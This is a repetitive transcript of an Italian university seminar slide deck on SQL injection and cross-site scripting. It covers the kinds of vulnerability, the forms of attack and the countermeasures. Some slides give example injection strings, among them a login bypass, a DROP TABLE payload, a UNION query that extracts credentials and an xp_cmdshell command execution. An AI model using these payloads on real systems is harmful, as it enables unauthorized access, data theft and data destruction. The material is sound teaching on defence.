Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

Dimensione: px
Iniziare la visualizzazioe della pagina:

Download "Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)"

Transcript

1 UNIVERSITÀ DEGLI STUDI DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Tesina di Sicurezza nei Sistemi informativi Simona Ullo Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS) Docente: Prof. O.Tomarchio AA 2007/2008 Simona Ullo (UniCT) Attacchi alle applicazioni web 1 / 25

2 Sommario Parleremo di... 1 Introduzione La sicurezza nelle applicazioni web Vulnerabilità delle applicazioni web 2 SQL injection Caratteristiche generali Principali vulnerabilità e possibili attacchi Tecniche di protezione per SQL injection Tecniche di protezione per SQL injection Esempi di SQL injection 3 Cross-Site Scripting Caratteristiche generali Attacchi XSS Tecniche di protezione da attacchi XSS Esempi di attacchi XSS 4 Paros Proxy Cos è Paros? Un esempio di scansione con Paros Simona Ullo (UniCT) Attacchi alle applicazioni web 2 / 25

3 Introduzione La sicurezza nelle applicazioni web Introduzione Applicazioni web sicure? Simona Ullo (UniCT) Attacchi alle applicazioni web 3 / 25

4 Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

5 Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

6 Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

7 Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

8 Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

9 Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti nel sistema di controllo degli accessi e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

10 Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti nel sistema di controllo degli accessi e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

11 Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti nel sistema di controllo degli accessi e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

12 Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti nel sistema di controllo degli accessi e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

13 Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti nel sistema di controllo degli accessi e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

14 Introduzione Vulnerabilità delle applicazioni web Introduzione La code injection Simona Ullo (UniCT) Attacchi alle applicazioni web 6 / 25

15 Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

16 Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

17 Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

18 Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

19 SQL injection Caratteristiche generali Attacchi alle applicazioni web SQL injection Simona Ullo (UniCT) Attacchi alle applicazioni web 8 / 25

20 SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

21 SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

22 SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

23 SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

24 SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

25 SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

26 SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

27 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

28 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

29 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

30 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

31 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

32 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

33 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

34 SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

35 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

36 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

37 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

38 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

39 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

40 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

41 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

42 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

43 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

44 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

45 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Ricordare che: IDS, firewall e protocolli come SSL non forniscono alcuna protezione dalla SQL injection! Utilizzare tool per rilevare automaticamente eventuali vulnerabilità. Simona Ullo (UniCT) Attacchi alle applicazioni web 12 / 25

46 SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Ricordare che: IDS, firewall e protocolli come SSL non forniscono alcuna protezione dalla SQL injection! Utilizzare tool per rilevare automaticamente eventuali vulnerabilità. Simona Ullo (UniCT) Attacchi alle applicazioni web 12 / 25

47 SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

48 SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

49 SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

50 SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

51 SQL injection Esempi di SQL injection Qualche esempio di attacco Uso di stored procedure: ; exec master..xp cmdshell notepad.exe -- Uso dei messaggi ODBC: Ottenuto iniettando semplicemente la clausola having 1=1 Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column utenti.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Simona Ullo (UniCT) Attacchi alle applicazioni web 14 / 25

52 SQL injection Esempi di SQL injection Qualche esempio di attacco Uso di stored procedure: ; exec master..xp cmdshell notepad.exe -- Uso dei messaggi ODBC: Ottenuto iniettando semplicemente la clausola having 1=1 Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column utenti.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Simona Ullo (UniCT) Attacchi alle applicazioni web 14 / 25

53 Cross-Site Scripting Caratteristiche generali Attacchi alle applicazioni web Cross-site Scripting Simona Ullo (UniCT) Attacchi alle applicazioni web 15 / 25

54 Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

55 Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

56 Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

57 Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

58 Cross-Site Scripting Caratteristiche generali XSS: caratteristiche generali Il cross-site scripting è... una forma di code injection che inietta specifici tag HTML o codice JavaScript malevolo all interno di un applicazione web; Riguarda contenuti dinamici e non (HTML injection); Forza il browser all esecuzione di codice malevolo, contenuto nella pagina web cui l utente accede; Test di vulnerabilità: visualizzazione di semplici alert con tag <script>; Stessi obiettivi della SQL injection: accesso a dati riservati, controllo del server o della intranet, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 16 / 25

59 Cross-Site Scripting Caratteristiche generali Tipi di attacchi XSS Tipologie di XSS XSS persistente: codice memorizzato sul server permanentemente, chiunque acceda alla pagina subisce l attacco; XSS non persistente o riflesso: codice non permanente inserito in un link ad-hoc, la vittima deve cliccarci per subire l attacco ( spamming, ing. sociale); XSS DOM-based: XSS non persistente, codice malevolo salvato nel DOM della pagina web, basato sempre su link ad-hoc. Simona Ullo (UniCT) Attacchi alle applicazioni web 17 / 25

60 Cross-Site Scripting Caratteristiche generali Tipi di attacchi XSS Tipologie di XSS XSS persistente: codice memorizzato sul server permanentemente, chiunque acceda alla pagina subisce l attacco; XSS non persistente o riflesso: codice non permanente inserito in un link ad-hoc, la vittima deve cliccarci per subire l attacco ( spamming, ing. sociale); XSS DOM-based: XSS non persistente, codice malevolo salvato nel DOM della pagina web, basato sempre su link ad-hoc. Simona Ullo (UniCT) Attacchi alle applicazioni web 17 / 25

61 Cross-Site Scripting Caratteristiche generali Tipi di attacchi XSS Tipologie di XSS XSS persistente: codice memorizzato sul server permanentemente, chiunque acceda alla pagina subisce l attacco; XSS non persistente o riflesso: codice non permanente inserito in un link ad-hoc, la vittima deve cliccarci per subire l attacco ( spamming, ing. sociale); XSS DOM-based: XSS non persistente, codice malevolo salvato nel DOM della pagina web, basato sempre su link ad-hoc. Simona Ullo (UniCT) Attacchi alle applicazioni web 17 / 25

62 Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

63 Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

